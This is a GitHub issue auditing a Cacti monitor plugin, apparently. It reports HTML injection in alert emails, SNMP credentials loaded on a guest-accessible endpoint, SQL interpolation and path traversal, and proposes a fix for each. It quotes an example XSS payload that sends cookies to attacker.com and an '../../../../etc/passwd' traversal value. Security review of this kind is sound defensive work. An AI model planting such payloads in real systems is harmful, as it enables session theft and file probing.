Skip to content

Code review: HTML injection in email notifications, SELECT * exposes SNMP credentials on guest-accessible endpoint, and SQL string interpolation #204

@somethingwithproof

Description

@somethingwithproof

Full audit of main branch (792904e). Issues grouped by severity.


High

1. HTML injection in alert/reboot email notifications

In poller_functions.php, buildRebootDetails():

$body .= '<tr>' .
    '<td class="left">' . $host['description'] . '</td>' .
    '<td class="left">' . $host['hostname'] . '</td>' .
    '</tr>';

And in appendThresholdSection():

$body .= '<td class="left">' . $host['description'] . '</td>' . PHP_EOL;
$body .= '<td class="left">' . $host['hostname'] . '</td>' . PHP_EOL;
$body .= '<td class="right">' . number_format_i18n($host[$threshold_field], 2) . ' ms</td>' . PHP_EOL;

description and hostname are echoed into HTML email bodies without escaping. A device with a crafted description such as <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)"> or a <script> tag will execute in any mail client that renders HTML. Email clients that honor embedded scripts (some Outlook configurations, some webmail) are directly exploitable; others will at minimum render broken layout or exfiltrate session tokens via <img> tags.

Fix: wrap all host data fields with htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8') before interpolating into HTML email content.

2. SELECT * on host table during unauthenticated ajax_status requests exposes SNMP credentials

monitor.php sets $guest_account = true, meaning unauthenticated users can reach the ajax_status action. The handler calls monitorLoadAjaxStatusHost() in monitor_controller.php:

$host = db_fetch_row_prepared('SELECT * FROM host WHERE id = ?', [$id]);

The host table contains snmp_community, snmp_auth_passphrase, snmp_priv_passphrase, and snmp_password. These are loaded into the PHP array on every ajax_status request, regardless of whether the caller is authenticated.

While the rendered tooltip only outputs snmp_sysDescr, snmp_sysLocation, and snmp_sysContact, the credential columns are present in $host and could be inadvertently exposed by any future change to the tooltip template. The SELECT * also means any new sensitive column added to host is automatically included.

Fix: replace SELECT * with an explicit column list that excludes all credential fields. Additionally, ajax_status should verify the caller has at minimum Cacti view permissions before returning any host data, even if $guest_account is enabled globally.


Medium

3. SQL string interpolation for IN() clauses throughout poller_functions.php

Two locations build IN(...) clauses via string interpolation rather than prepared statements:

In appendThresholdSection():

$hosts = db_fetch_assoc('SELECT *
    FROM host
    WHERE id IN(' . implode(',', $host_ids) . ')
    AND deleted = ""');

In getEmailsAndLists():

$list_emails = db_fetch_assoc('SELECT id, emails
    FROM plugin_notification_lists
    WHERE id IN (' . implode(',', $lists) . ')');

Both $host_ids and $lists are assembled from database-sourced values that have passed through multiple array operations (explode, array_merge, array_unique). These are effectively integer-safe at the current call paths, but the pattern is fragile: any future code path that populates these arrays from user input without integer validation will silently introduce SQL injection. Use db_build_in_clause() or cast each element with (int) before joining.

4. Unvalidated user-controlled path in getMonitorSound()

function getMonitorSound(): string {
    $sound = (string) read_user_setting('monitor_sound', read_config_option('monitor_sound'));
    clearstatcache();
    $file   = __DIR__ . '/sounds/' . $sound;
    $exists = file_exists($file);
    return $exists ? $sound : '';
}

$sound comes from a per-user setting. If a user can set monitor_sound to ../../../../etc/passwd, file_exists() will return true and the value will be echoed into an <audio src=...> tag. html_escape() is applied at the call site, preventing XSS, but an attacker can use this as a filesystem oracle: try path values and observe whether the <audio> element appears in the rendered page.

Fix: validate $sound against preg_match('/^[a-zA-Z0-9._-]+$/', $sound) before the file_exists() check. Also confirm the resolved path is within __DIR__ . '/sounds/' using realpath().


Low

5. purgeOrphanMonitorRows() interpolates table name into SQL without an allowlist

function purgeOrphanMonitorRows(string $table_name): void {
    $removed_hosts = db_fetch_assoc("SELECT mu.host_id
        FROM $table_name AS mu ...");

    db_execute("DELETE mu FROM $table_name AS mu ...");
}

Currently called only with string literals 'plugin_monitor_uptime' and 'plugin_monitor_reboot_history', so there is no present exploitability. However the function has no internal validation. Add an allowlist check at the top of the function:

$allowed_tables = ['plugin_monitor_uptime', 'plugin_monitor_reboot_history'];
if (!in_array($table_name, $allowed_tables, true)) {
    cacti_log("ERROR: purgeOrphanMonitorRows called with invalid table: $table_name", false, 'MONITOR');
    return;
}

6. saveSettings() iterates $_REQUEST directly

foreach ($_REQUEST as $var => $value) {
    switch ($var) { ... }
}

Only the explicitly matched switch cases take action, so there is no direct vulnerability. Iterating $_REQUEST rather than a defined set of expected parameter names is an antipattern: any CSRF-injected or HTTP-parameter-pollution value will be fed into the switch. Replace with iteration over a fixed array of known parameter names.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions